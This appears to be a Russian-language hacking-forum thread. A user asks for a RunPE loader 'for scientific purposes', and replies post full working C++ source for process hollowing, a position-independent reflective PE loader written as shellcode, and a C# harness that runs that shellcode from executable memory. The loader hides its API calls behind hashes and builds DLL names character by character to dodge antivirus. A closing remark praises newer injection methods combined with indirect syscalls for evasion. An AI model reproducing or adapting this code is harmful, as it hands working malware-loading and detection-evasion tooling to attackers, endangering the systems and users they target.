Сабж, если у кого то есть принял бы в дар. Чисто в научных целях...
Пончик к твоим услугам. Github: Donut.Сабж, если у кого то есть принял бы в дар. Чисто в научных целях...
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
#include "rawData.h"
typedef NTSTATUS(NTAPI* _NtQueryInformationProcess)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
DWORD GetRemotePebAddr(HANDLE processHandle)
{
_NtQueryInformationProcess fpNtQueryInformationProcess = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess");
PROCESS_BASIC_INFORMATION processInformation;
memset(&processInformation, 0x00, sizeof(PROCESS_BASIC_INFORMATION));
DWORD returnLength = 0;
if (NT_SUCCESS(fpNtQueryInformationProcess(processHandle, ProcessBasicInformation, &processInformation, sizeof(PROCESS_BASIC_INFORMATION), &returnLength)))
{
return reinterpret_cast<DWORD>(processInformation.PebBaseAddress);
}
return 0;
}
VOID WINAPI RunPE(LPBYTE buffer)
{
//Получаем DOS заголовок
PIMAGE_DOS_HEADER dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(buffer);
//Проверяем сигнатуру
if (dosHeader->e_magic == IMAGE_DOS_SIGNATURE)
{
//Получаем NT заголовки
PIMAGE_NT_HEADERS ntHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(reinterpret_cast<DWORD>(buffer) + dosHeader->e_lfanew);
//Проверяем сигнатуру
if (ntHeaders->Signature == IMAGE_NT_SIGNATURE)
{
//Получаем путь к текущему EXE
WCHAR currentPath[MAX_PATH + 1];
GetModuleFileNameW(NULL, currentPath, MAX_PATH);
//Запускаем процесс
PROCESS_INFORMATION processInfo;
memset(&processInfo, 0x00, sizeof(processInfo));
STARTUPINFOW startupInfo;
memset(&startupInfo, 0x00, sizeof(startupInfo));
if (CreateProcessW(currentPath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInfo))
{
//Получаем контекст потока
LPCONTEXT context = reinterpret_cast<LPCONTEXT>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(CONTEXT)));
context->ContextFlags = CONTEXT_FULL;
if (GetThreadContext(processInfo.hThread, context))
{
//Получаем PEB донорского процесса
DWORD remotePebAddr = GetRemotePebAddr(processInfo.hProcess);
//Пытаемся выделить память по оригинальному ImageBase, чтоб не приходилось фиксить релоки
LPVOID remotePayload = VirtualAllocEx(processInfo.hProcess, reinterpret_cast<LPVOID>(ntHeaders->OptionalHeader.ImageBase), ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//Если не удалось, то берем любой адрес
if(!remotePayload)
LPVOID remotePayload = VirtualAllocEx(processInfo.hProcess, NULL, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//Записываем заголовки
WriteProcessMemory(processInfo.hProcess, remotePayload, buffer, ntHeaders->OptionalHeader.SizeOfHeaders, NULL);
//Записываем секции
PIMAGE_SECTION_HEADER sectionHeader = reinterpret_cast<PIMAGE_SECTION_HEADER>(buffer + dosHeader->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER) + ntHeaders->FileHeader.SizeOfOptionalHeader);
//Указатель на релоки
PIMAGE_BASE_RELOCATION reloc = NULL;
DWORD relocsVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
for (INT i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
{
WriteProcessMemory(processInfo.hProcess, reinterpret_cast<LPVOID>(reinterpret_cast<DWORD>(remotePayload) + sectionHeader[i].VirtualAddress), reinterpret_cast<LPVOID>(reinterpret_cast<DWORD>(buffer) + sectionHeader[i].PointerToRawData), sectionHeader[i].SizeOfRawData, NULL);
if (relocsVA >= sectionHeader[i].VirtualAddress && relocsVA <= sectionHeader[i].VirtualAddress + sectionHeader[i].SizeOfRawData) //FIXME: Выровнять SizeOfRawData по SectionAligment
reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(buffer + sectionHeader[i].PointerToRawData + (relocsVA - sectionHeader[i].VirtualAddress));
}
//Если изображение было загружено не по своему ImageBase, то делаем релокацию
if (reloc && reinterpret_cast<DWORD>(remotePayload) != ntHeaders->OptionalHeader.ImageBase)
{
while (reloc->SizeOfBlock)
{
LPWORD fixups = reinterpret_cast<LPWORD>(reinterpret_cast<DWORD>(reloc) + sizeof(IMAGE_BASE_RELOCATION));
DWORD fixupsCount = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
DWORD delta = reinterpret_cast<DWORD>(remotePayload) - ntHeaders->OptionalHeader.ImageBase;
for (DWORD i = 0; i < fixupsCount; i++)
{
//В x86 существует только тип релоков
if ((fixups[i] & 0xF000) == IMAGE_REL_BASED_HIGHLOW) { //или fixups[i] >> 12, сташие 8 бит это тип релока, а остальные 12 - адрес, куда пишется фикс
LPVOID fixupAddr = reinterpret_cast<LPVOID>(reinterpret_cast<DWORD>(remotePayload) + reloc->VirtualAddress + (fixups[i] & 0x0FFF));
DWORD value;
if (ReadProcessMemory(processInfo.hProcess, fixupAddr, &value, sizeof(value), NULL))
{
value += delta;
WriteProcessMemory(processInfo.hProcess, fixupAddr, &value, sizeof(value), NULL);
}
}
}
reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<DWORD>(reloc) + reloc->SizeOfBlock);
}
}
//Меняем ImageBase в PEB-е донорского процесса
WriteProcessMemory(processInfo.hProcess, reinterpret_cast<LPVOID>(remotePebAddr + 8), &remotePayload, sizeof(remotePayload), NULL);
context->Eax = reinterpret_cast<DWORD>(remotePayload) + ntHeaders->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(processInfo.hThread, context);
ResumeThread(processInfo.hThread);
}
CloseHandle(processInfo.hThread);
CloseHandle(processInfo.hProcess);
}
}
}
}
int main()
{
RunPE(rawData);
}
#include "loadPE.h"
#include "ntdll.h"
#include <intrin.h>
#pragma optimize("", off)
#define API(DLL, FUNC) reinterpret_cast<decltype(&##FUNC)>(GetProcAddressEx(DLL, CT_HashString(#FUNC, sizeof(#FUNC) - 1)))
/// <summary>
/// Хеширование ASCII-строки, выполняется на этапе компиляции
/// </summary>
/// <param name="str">Строка, которая будет хеширована</param>
/// <param name="length">Длина строки</param>
/// <returns>Хеш строки</returns>
consteval UINT CT_HashString(LPCSTR str, size_t length)
{
ULONG hash = 5381;
for (size_t i = 0; i < length; i++)
hash = ((hash << 5) + hash) + str[i];
return hash;
}
/// <summary>
/// Имплементация msvcrt.dll!memset
/// </summary>
/// <param name="memory">Указатель на блок памяти, с которым работаем</param>
/// <param name="byte">Байт, который копируем за место других</param>
/// <param name="size">Кол-во байт, за место которых ставим bByte</param>
/// <returns>Указатель на блок памяти, с которым работаем</returns>
LPVOID WINAPI MemSet(LPVOID memory, BYTE byte, size_t size);
/// <summary>
/// Имплементация msvcrt.dll!memcpy
/// </summary>
/// <param name="lpDest">Адрес блока памяти, в который копируем</param>
/// <param name="lpSrc">Адрес блока памяти, который копируем</param>
/// <param name="dwSize">Размер блока памяти, который копируем</param>
/// <returns>Адрес, куда копируем блок памяти</returns>
LPVOID WINAPI MemCpy(LPVOID dest, LPVOID src, size_t size);
/// <summary>
/// Подсчет длины ansi строки
/// </summary>
/// <param name="string">Wide строка</param>
/// <returns>Длина строки</returns>
size_t WINAPI StringLengthA(LPCSTR string);
/// <summary>
/// Подсчет длины wide строки
/// </summary>
/// <param name="string">Wide строка</param>
/// <returns>Длина строки</returns>
size_t WINAPI StringLengthW(LPCWSTR string);
/// <summary>
/// Копирование wide строк
/// </summary>
/// <param name="dest">Буффер, куда будет скопирована исходная строка</param>
/// <param name="src">Исходная строка</param>
/// <returns>Указатель на буффер, куда была копирована исходная строка</returns>
LPWSTR WINAPI StringCopyW(LPWSTR dest, LPCWSTR src);
/// <summary>
/// Сравнение wide строк
/// </summary>
/// <param name="str1">Первая строка</param>
/// <param name="str2">Вторая строка</param>
/// <returns>
/// <para>TRUE - строки совпадают</para>
/// <para>FALSE - строки не совпадают</para>
/// </returns>
BOOL WINAPI StringCompareW(LPCWSTR str1, LPCWSTR str2);
/// <summary>
/// Перевод всех символов строки в нижний регистр.
/// </summary>
/// <param name="str">Строка, которую приводим к нижнему регистру</param>
VOID WINAPI StringToLowerW(LPWSTR str);
/// <summary>
/// Хеширование ASCII-строки
/// </summary>
/// <param name="str">Строка</param>
/// <returns>Хеш строки</returns>
UINT WINAPI HashString(LPCSTR str);
/// <summary>
/// Поиск хендла загруженного модуля по имени.Аналог GetModuleHandleW
/// </summary>
/// <param name="dllName">Имя модуля</param>
/// <returns>Хендл модуля, если модуль не загружен, то NULL</returns>
HMODULE WINAPI FindDllHandle(LPCWSTR dllName);
/// <summary>
/// Получение адреса функции по хешу
/// </summary>
/// <param name="module">Модуль, в котором содержится функция</param>
/// <param name="hash">SuperFastHash имени функции</param>
/// <returns>Адрес функции</returns>
LPVOID WINAPI GetProcAddressEx(HMODULE module, UINT hash);
VOID WINAPI LoadPE(LPBYTE image)
{
//
// Грузим нужные функции
//
WCHAR ntdllStr[10] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', '\0' };
HMODULE hNtdll = FindDllHandle(ntdllStr);
WCHAR kernel32Str[13] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' };
HMODULE hKernel32 = FindDllHandle(kernel32Str);
HANDLE currentProcess = API(hKernel32, GetCurrentProcess)();
//
// Проверяем заголовки
//
PIMAGE_DOS_HEADER dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(image);
if (dosHeader->e_magic == IMAGE_DOS_SIGNATURE)
{
PIMAGE_NT_HEADERS ntHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(image + dosHeader->e_lfanew);
DWORD relocsRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
if (ntHeaders->Signature == IMAGE_NT_SIGNATURE)
{
LPVOID imageBase = reinterpret_cast<LPVOID>(ntHeaders->OptionalHeader.ImageBase);
SIZE_T imageSize = ntHeaders->OptionalHeader.SizeOfImage;
if (!NT_SUCCESS(API(hNtdll, NtAllocateVirtualMemory)(currentProcess, &imageBase, 0, &imageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)))
{
if (relocsRVA) //Если есть релоки, то выделяем память по любому адресу
{
imageBase = nullptr;
if (!NT_SUCCESS(API(hNtdll, NtAllocateVirtualMemory)(currentProcess, &imageBase, 0, &imageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)))
return;
}
else //Если релоков нет, то делаем анмаппинг
{
imageBase = reinterpret_cast<LPVOID>(ntHeaders->OptionalHeader.ImageBase);
if (NT_SUCCESS(API(hNtdll, NtUnmapViewOfSection)(currentProcess, imageBase))) //Шеллкод должен содержаться не в теле бинарника!
{
//Снова пытаемся выделить память
if (!NT_SUCCESS(API(hNtdll, NtAllocateVirtualMemory)(currentProcess, &imageBase, 0, &imageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)))
return;
}
}
}
if (imageBase)
{
//Для удобства
DWORD imageBaseAddr = reinterpret_cast<DWORD>(imageBase);
//
// Копируем заголовки
//
DWORD oldProtect = NULL;
SIZE_T headersSize = ntHeaders->OptionalHeader.SizeOfHeaders;
MemCpy(imageBase, image, headersSize);
API(hNtdll, NtProtectVirtualMemory)(currentProcess, &imageBase, &headersSize, PAGE_READONLY, &oldProtect);
//
// Копируем секции и выставляем на них права
//
PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);//reinterpret_cast<PIMAGE_SECTION_HEADER>(image + dosHeader->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER) + ntHeaders->FileHeader.SizeOfOptionalHeader);
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
MemCpy(reinterpret_cast<LPVOID>(imageBaseAddr + sectionHeader[i].VirtualAddress), reinterpret_cast<LPVOID>(reinterpret_cast<DWORD>(image) + sectionHeader[i].PointerToRawData), sectionHeader[i].SizeOfRawData);
//
// Обрабатываем импорт
//
if (ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
{
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(imageBaseAddr + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (importDescriptor->Name)
{
LPSTR dllName = reinterpret_cast<LPSTR>(imageBaseAddr + importDescriptor->Name);
HMODULE dll = API(hKernel32, LoadLibraryA)(dllName);
if (dll)
{
PIMAGE_THUNK_DATA originalThunk = reinterpret_cast<PIMAGE_THUNK_DATA>(imageBaseAddr + importDescriptor->OriginalFirstThunk);
PIMAGE_THUNK_DATA firstThunk = reinterpret_cast<PIMAGE_THUNK_DATA>(imageBaseAddr + importDescriptor->FirstThunk);
while (originalThunk->u1.AddressOfData)
{
if (IMAGE_SNAP_BY_ORDINAL(originalThunk->u1.Ordinal))
firstThunk->u1.Function = reinterpret_cast<DWORD>(API(hKernel32, GetProcAddress)(dll, reinterpret_cast<LPSTR>(IMAGE_ORDINAL(originalThunk->u1.Ordinal))));
else
firstThunk->u1.Function = reinterpret_cast<DWORD>(API(hKernel32, GetProcAddress)(dll, reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(imageBaseAddr + originalThunk->u1.AddressOfData)->Name));
originalThunk++;
firstThunk++;
}
}
importDescriptor++;
}
}
//
// Обрабатываем релоки
//
if (relocsRVA)
{
PIMAGE_BASE_RELOCATION reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(imageBaseAddr + relocsRVA);
DWORD delta = imageBaseAddr - ntHeaders->OptionalHeader.ImageBase;
if (delta)
{
while (reloc->SizeOfBlock)
{
LPWORD fixups = reinterpret_cast<LPWORD>(reinterpret_cast<DWORD>(reloc) + sizeof(IMAGE_BASE_RELOCATION));
DWORD fixupsCount = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
for (DWORD i = 0; i < fixupsCount; i++)
{
LPVOID fixupAddr = reinterpret_cast<LPVOID>(imageBaseAddr + reloc->VirtualAddress + (fixups[i] & 0x0FFF));
if ((fixups[i] >> 12) == IMAGE_REL_BASED_HIGHLOW)
*reinterpret_cast<LPDWORD>(fixupAddr) += delta;
}
reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<DWORD>(reloc) + reloc->SizeOfBlock);
}
}
}
//
// Выставляем права доступа на секции
//
DWORD protectionFlags[2][2][2] = {
{
{ PAGE_NOACCESS, PAGE_WRITECOPY },
{ PAGE_READONLY, PAGE_READWRITE },
},
{
{ PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY },
{ PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE },
},
};
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
{
LPVOID sectionVirtualAddress = reinterpret_cast<LPVOID>(imageBaseAddr + sectionHeader[i].VirtualAddress);
SIZE_T sectionVirtualSize = sectionHeader[i].Misc.VirtualSize;
DWORD sectionCharacteristics = sectionHeader[i].Characteristics;
DWORD sectionProtect = protectionFlags[!!(sectionCharacteristics & IMAGE_SCN_MEM_EXECUTE)][!!(sectionCharacteristics & IMAGE_SCN_MEM_READ)][!!(sectionCharacteristics & IMAGE_SCN_MEM_WRITE)];
if (sectionCharacteristics & IMAGE_SCN_MEM_NOT_CACHED)
sectionProtect |= PAGE_NOCACHE;
API(hNtdll, NtProtectVirtualMemory)(currentProcess, §ionVirtualAddress, §ionVirtualSize, sectionProtect, &oldProtect);
}
//
// Обрабатываем TLS
//
if (ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress)
{
PIMAGE_TLS_DIRECTORY tls = reinterpret_cast<PIMAGE_TLS_DIRECTORY>(imageBaseAddr + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);
PIMAGE_TLS_CALLBACK* callbacks = reinterpret_cast<PIMAGE_TLS_CALLBACK*>(tls->AddressOfCallBacks);
while (callbacks && *callbacks)
{
(*callbacks)(imageBase, DLL_PROCESS_ATTACH, NULL);
callbacks++;
}
}
//
// Фиксим PEB
//
PPEB peb = (PPEB)__readfsdword(0x30);
peb->ImageBaseAddress = imageBase;
//
// Прыгаем на точку входа
//
LPVOID entryPoint = reinterpret_cast<LPVOID>(imageBaseAddr + ntHeaders->OptionalHeader.AddressOfEntryPoint);
if (ntHeaders->FileHeader.Characteristics & IMAGE_FILE_DLL)
{
typedef BOOL (WINAPI* _DllMain)(HINSTANCE inst, DWORD reason, LPVOID reserved);
(reinterpret_cast<_DllMain>(entryPoint))(reinterpret_cast<HINSTANCE>(imageBase), DLL_PROCESS_ATTACH, nullptr);
}
else
__asm jmp entryPoint
}
}
}
}
LPVOID WINAPI MemSet(LPVOID memory, BYTE byte, size_t size)
{
__stosb(static_cast<LPBYTE>(memory), byte, size);
return memory;
}
LPVOID WINAPI MemCpy(LPVOID dest, LPVOID src, size_t size)
{
__movsb(
static_cast<LPBYTE>(dest),
static_cast<LPBYTE>(src),
size
);
return dest;
}
size_t WINAPI StringLengthA(LPCSTR string)
{
LPSTR begin = const_cast<LPSTR>(string);
while (*++string);
return static_cast<DWORD>(string - begin);
}
size_t WINAPI StringLengthW(LPCWSTR string)
{
LPWSTR begin = const_cast<LPWSTR>(string);
while (*++string);
return static_cast<DWORD>(string - begin);
}
LPWSTR WINAPI StringCopyW(LPWSTR dest, LPCWSTR src)
{
LPWSTR ptr = dest;
while ((*ptr++ = *src++));
return dest;
}
BOOL WINAPI StringCompareW(LPCWSTR str1, LPCWSTR str2)
{
size_t i = 0;
while (TRUE)
{
if (str1[i] != str2[i])
return FALSE;
if (!str1[i])
break;
i++;
}
return TRUE;
}
VOID WINAPI StringToLowerW(LPWSTR str)
{
for (size_t i = 0; i < StringLengthW(str); i++)
{
if (str[i] >= 'A' && str[i] <= 'Z')
str[i] = str[i] - 'A' + 'a';
}
}
UINT WINAPI HashString(LPCSTR str)
{
size_t length = StringLengthA(str);
ULONG hash = 5381;
for (size_t i = 0; i < length; i++)
hash = ((hash << 5) + hash) + str[i];
return hash;
}
HMODULE WINAPI FindDllHandle(LPCWSTR dllName)
{
PPEB peb = (PPEB)__readfsdword(0x30);
PPEB_LDR_DATA ldrData = peb->Ldr;
PLIST_ENTRY head = &ldrData->InLoadOrderModuleList;
PLIST_ENTRY entry = head->Flink;
WCHAR lowercaseDllName[MAX_PATH + 1];
while (head != entry)
{
MemSet(lowercaseDllName, 0x00, (MAX_PATH * 2) + 2);
PLDR_DATA_TABLE_ENTRY dataTableEntry = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
StringCopyW(lowercaseDllName, dataTableEntry->BaseDllName.Buffer);
StringToLowerW(lowercaseDllName);
if (StringCompareW(static_cast<LPCWSTR>(lowercaseDllName), dllName))
return static_cast<HMODULE>(dataTableEntry->DllBase);
entry = entry->Flink;
}
return nullptr;
}
LPVOID WINAPI GetProcAddressEx(HMODULE module, UINT hash)
{
if (module)
{
PIMAGE_DOS_HEADER dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(reinterpret_cast<DWORD>(module));
if (dosHeader->e_magic == IMAGE_DOS_SIGNATURE)
{
PIMAGE_NT_HEADERS ntHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(reinterpret_cast<DWORD>(module) + dosHeader->e_lfanew);
if (ntHeaders->Signature == IMAGE_NT_SIGNATURE)
{
PIMAGE_EXPORT_DIRECTORY exportDirectory = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(reinterpret_cast<DWORD>(module) + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
LPDWORD functions = reinterpret_cast<LPDWORD>(reinterpret_cast<DWORD>(module) + exportDirectory->AddressOfFunctions);
LPDWORD functionsNames = reinterpret_cast<LPDWORD>(reinterpret_cast<DWORD>(module) + exportDirectory->AddressOfNames);
LPWORD namesOrdinals = reinterpret_cast<LPWORD>(reinterpret_cast<DWORD>(module) + exportDirectory->AddressOfNameOrdinals);
for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++)
{
LPCSTR functionName = reinterpret_cast<LPCSTR>(reinterpret_cast<DWORD>(module) + functionsNames[i]);
if (HashString(functionName) == hash)
return reinterpret_cast<LPVOID>(reinterpret_cast<DWORD>(module) + functions[namesOrdinals[i]]);
}
}
}
}
return nullptr;
}
VOID WINAPI EndLoadPE()
{
return;
}
#pragma optimize("", on)
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
namespace ShellcodeTest
{
internal class EntryPoint
{
[UnmanagedFunctionPointer(CallingConvention.Winapi)]
private delegate void LoadPE(byte[] data);
[DllImport("kernel32.dll")]
private static extern IntPtr VirtualAlloc(IntPtr addr, UInt32 size, UInt32 allocationType, UInt32 protect);
private static byte[] loadPeShellcode = { /*Вставьте сюда сгенерированный шеллкод*/ };
static void Main(string[] args)
{
IntPtr addr = VirtualAlloc(
IntPtr.Zero,
(UInt32)loadPeShellcode.Length,
0x1000, //MEM_COMMIT
0x40 //PAGE_EXECUTE_READWRITE
);
Marshal.Copy(loadPeShellcode, 0, addr, loadPeShellcode.Length);
LoadPE loadPe = (LoadPE)Marshal.GetDelegateForFunctionPointer(addr, typeof(LoadPE));
loadPe(TestBinary.data); //TestBinary.data = буффер, содержащий исполняемый файл.
}
}
}
Согласен. Вот кстати новые интересные методы инжекта шеллкода. Совместив с "проксированием" индирект сисколлами получили ОЧЕНЬ хороший результат на выходе.Я считаю, что ранпе (различные модификации с изменением метода инжекта в расчет не берем) это устаревшая технология